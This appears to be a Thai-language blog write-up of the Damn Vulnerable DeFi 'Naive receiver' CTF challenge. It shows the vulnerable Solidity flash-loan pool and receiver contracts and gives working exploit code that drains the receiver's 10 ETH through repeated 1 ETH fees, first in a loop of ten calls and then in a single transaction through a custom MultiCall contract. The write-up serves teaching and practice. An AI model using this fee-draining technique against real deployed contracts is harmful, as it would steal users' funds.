Damn Vulnerable Defi CTF writeup (Naive receiver)

Nattawat Songsom
5 min readJun 3, 2023

--

มาทำ CTF กันครับ

โจทย์คือ

มี pool ที่เปิดให้ flash loan ETH ได้ โดยเปิดให้ flash loan ได้ถึง 1000 ETH

และมีค่า fee 1 ETH

user deploy contract สำหรับนำไปเรียก flash loan โดย contract มี balance 10 ETH

จง drain ETH ของ contract user ออกทั้งหมด

bonus: ถ้าสามารถทำได้ใน tx เดียว จะดีมาก

โอเคมาดู code กัน

contract ที่เปิดให้ flash loan คือ NaiveReceiverLenderPool.sol มาดู code เต็มๆกัน

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/interfaces/IERC3156FlashLender.sol";
import "@openzeppelin/contracts/interfaces/IERC3156FlashBorrower.sol";
import "solady/src/utils/SafeTransferLib.sol";
import "./FlashLoanReceiver.sol";

/**
* @title NaiveReceiverLenderPool
* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
*/
contract NaiveReceiverLenderPool is ReentrancyGuard, IERC3156FlashLender {

address public constant ETH = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
uint256 private constant FIXED_FEE = 1 ether; // not the cheapest flash loan
bytes32 private constant CALLBACK_SUCCESS = keccak256("ERC3156FlashBorrower.onFlashLoan");

error RepayFailed();
error UnsupportedCurrency();
error CallbackFailed();

function maxFlashLoan(address token) external view returns (uint256) {
if (token == ETH) {
return address(this).balance;
}
return 0;
}

function flashFee(address token, uint256) external pure returns (uint256) {
if (token != ETH)
revert UnsupportedCurrency();
return FIXED_FEE;
}

function flashLoan(
IERC3156FlashBorrower receiver,
address token,
uint256 amount,
bytes calldata data
) external returns (bool) {
if (token != ETH)
revert UnsupportedCurrency();

uint256 balanceBefore = address(this).balance;

// Transfer ETH and handle control to receiver
SafeTransferLib.safeTransferETH(address(receiver), amount);
if(receiver.onFlashLoan(
msg.sender,
ETH,
amount,
FIXED_FEE,
data
) != CALLBACK_SUCCESS) {
revert CallbackFailed();
}

if (address(this).balance < balanceBefore + FIXED_FEE)
revert RepayFailed();

return true;
}

// Allow deposits of ETH
receive() external payable {}
}

เราจะพบว่าเมื่อเรียก function flashLoan จะมีการปล่อยกู้ให้ contract ที่มากู้ จากนั้นจะไปเรียก onFlashLoan ใน contract ที่มากู้ ตาม code ด้านล่าง

function flashLoan(
IERC3156FlashBorrower receiver,
address token,
uint256 amount,
bytes calldata data
) external returns (bool) {
...
SafeTransferLib.safeTransferETH(address(receiver), amount);
if(receiver.onFlashLoan(
msg.sender,
ETH,
amount,
FIXED_FEE,
data
) != CALLBACK_SUCCESS) {
revert CallbackFailed();
}
...
}

หลังจากนั้นมีการเช็คว่า contract ที่มากู้ได้คืน ETH มาแล้วยัง ตาม flow ของการ flashLoan ตาม code ด้านล่าง

if (address(this).balance < balanceBefore + FIXED_FEE)
revert RepayFailed();

โอเค อีก contract นึงคือ FlashLoanReceiver.sol มาดู code เต็มๆกัน

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import "solady/src/utils/SafeTransferLib.sol";
import "@openzeppelin/contracts/interfaces/IERC3156FlashBorrower.sol";
import "./NaiveReceiverLenderPool.sol";

/**
* @title FlashLoanReceiver
* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
*/
contract FlashLoanReceiver is IERC3156FlashBorrower {

address private pool;
address private constant ETH = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;

error UnsupportedCurrency();

constructor(address _pool) {
pool = _pool;
}

function onFlashLoan(
address,
address token,
uint256 amount,
uint256 fee,
bytes calldata
) external returns (bytes32) {
assembly { // gas savings
if iszero(eq(sload(pool.slot), caller())) {
mstore(0x00, 0x48f5c3ed)
revert(0x1c, 0x04)
}
}

if (token != ETH)
revert UnsupportedCurrency();

uint256 amountToBeRepaid;
unchecked {
amountToBeRepaid = amount + fee;
}

_executeActionDuringFlashLoan();

// Return funds to pool
SafeTransferLib.safeTransferETH(pool, amountToBeRepaid);

return keccak256("ERC3156FlashBorrower.onFlashLoan");
}

// Internal function where the funds received would be used
function _executeActionDuringFlashLoan() internal { }

// Allow deposits of ETH
receive() external payable {}
}

จาก code เราจะพบว่าการทำงานของ function onFlashLoan คือการคืนเงินที่กู้มา พร้อมจ่ายค่า fee ตาม code ด้านล่าง

        unchecked {
amountToBeRepaid = amount + fee;
}

_executeActionDuringFlashLoan();

// Return funds to pool
SafeTransferLib.safeTransferETH(pool, amountToBeRepaid);

โอเค ถ้าลองเขียน flow ดูจะได้ประมาณนี้

คำถามคือ

ทำยังไงให้ balance token ของ FlashLoanReceiver หมด ?

โอเค วิธีง่ายที่สุดก็คงเป็นให้ FlashLoanReceiver จ่ายค่า fee การ flashLoan ไปเรื่อยๆจนเงินหมด

มาลองทำกัน

  it("Execution", async function () {
/** CODE YOUR SOLUTION HERE */
const ETH = await pool.ETH();
for (let i = 0; i < 10; i++) {
const tx = await pool.flashLoan(receiver.address, ETH, 0, "0x");
await tx.wait();
}
});

Solved!

แต่โจทย์บอกว่า เราสามารถทำได้ใน tx เดียวรึเปล่า?

จะลด 10 tx ให้เหลือ tx เดียวยังไงได้บ้าง ?

ที่คิดออกมี 2 วิธีคือ

  1. เขียน proxy contract ที่เรียก flashLoan 10 ครั้งใน proxy contract
  2. เรียก flashLoan 10 ครั้ง ผ่าน multicall

วิธีแรกดูง่ายไป 555 มาลองวิธีที่ 2 กัน

ก่อนอื่นมาทวนเรื่อง multicall กันหน่อยด้วย clip นี้

โอเค จากคลิป เราต้อง deploy contract multicall ก่อน

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;

contract MultiCall {
function multiCall(
address[] calldata targets,
bytes[] calldata data
) external view returns (bytes[] memory) {
require(targets.length == data.length, "target length != data length");

bytes[] memory results = new bytes[](data.length);

for (uint i; i < targets.length; i++) {
(bool success, bytes memory result) = targets[i].staticcall(data[i]);
require(success, "call failed");
results[i] = result;
}

return results;
}
}
  it("Execution", async function () {
/** CODE YOUR SOLUTION HERE */
const MultiCallFactory = await ethers.getContractFactory(
"MultiCall",
deployer
);
const multiCall = await MultiCallFactory.deploy();

});

จากนั้นก็ทำการเรียก multicall เพื่อให้เกิดการ flashLoan ขึ้น 10 ครั้ง

โดยการเรียก multicall แบบนั้นจะต้องส่งค่าไป 2 อย่างคือ

  1. array ของ address ของ pool 10 อัน
  2. array ของ calldata ในการ flashLoan 10 อัน

ซึ่งในข้อ 2 เนี่ย การแปลงการเรียก function เป็น calldata จะใช้ code ประมาณนี้

pool.interface.encodeFunctionData("flashLoan", [
receiver.address,
ETH,
0,
"0x",
])

โอเค มาลองเรียก multicall กัน

  it("Execution", async function () {
/** CODE YOUR SOLUTION HERE */
const MultiCallFactory = await ethers.getContractFactory(
"MultiCall",
deployer
);
const multiCall = await MultiCallFactory.deploy();
const ETH = await pool.ETH();
const tx = await multiCall.multiCall(
Array.from({ length: 10 }, (x, i) => pool.address),
Array.from({ length: 10 }, (x, i) =>
pool.interface.encodeFunctionData("flashLoan", [
receiver.address,
ETH,
0,
"0x",
])
)
);
await tx.wait();
});

ซึ่ง … มัน error

ทำไมถึง error ละ มาหาสาเหตุกัน

  1. multicall ใช้งานไม่ได้ ?

พอเรียก multicall ไป function maxFlashLoan ก็ทำงานได้นะ

2. หาจุดที่ error

พอใช้ log ของ hardhat ไล่ไปเรื่อยๆก็พบว่าจุดที่ error คือการ transferETH

ทำไมการ transferETH error แต่ function call อื่นๆไม่ error ละ ?

เป็นเพราะ gas ไม่พอรึเปล่า ? เป็นไปได้ เพราะการ estimate gas ของ function ที่ call กันหลายๆต่อ อาจจะพลาด … แต่พอลองเพิ่ม gasLimit ให้แล้ว ก็ยัง error … แสดงว่าไม่ใช่ case นี้

เป็นเพราะ multicall อันนี้เป็น multicall read ไม่ใช่ multicall read/write ?

พอลองไปดูดีๆ multicall ที่เอามา ดันเป็น view function เฉยเลย

และใช้ staticcall ในการเรียก function flashLoan ด้วย

ประเด็นคือ staticcall ใช้สำหรับการอ่านเท่านั้น ถ้ามีการเขียนต้องใช้ call

ดังนั้นเราจะแก้ multiCall contract เป็น code นี้แทน

contract MultiCall {
function multiCall(
address[] calldata targets,
bytes[] calldata data
) external returns (bytes[] memory) {
require(targets.length == data.length, "target length != data length");

bytes[] memory results = new bytes[](data.length);

for (uint i; i < targets.length; i++) {
(bool success, bytes memory result) = targets[i].call(data[i]);
require(success, "call failed");
results[i] = result;
}

return results;
}
}

โอเค Solved!

ข้อนี้ น่าจะประมาณนี้ ไว้เจอกันบทความหน้าครับ

Referrence

--

--

No responses yet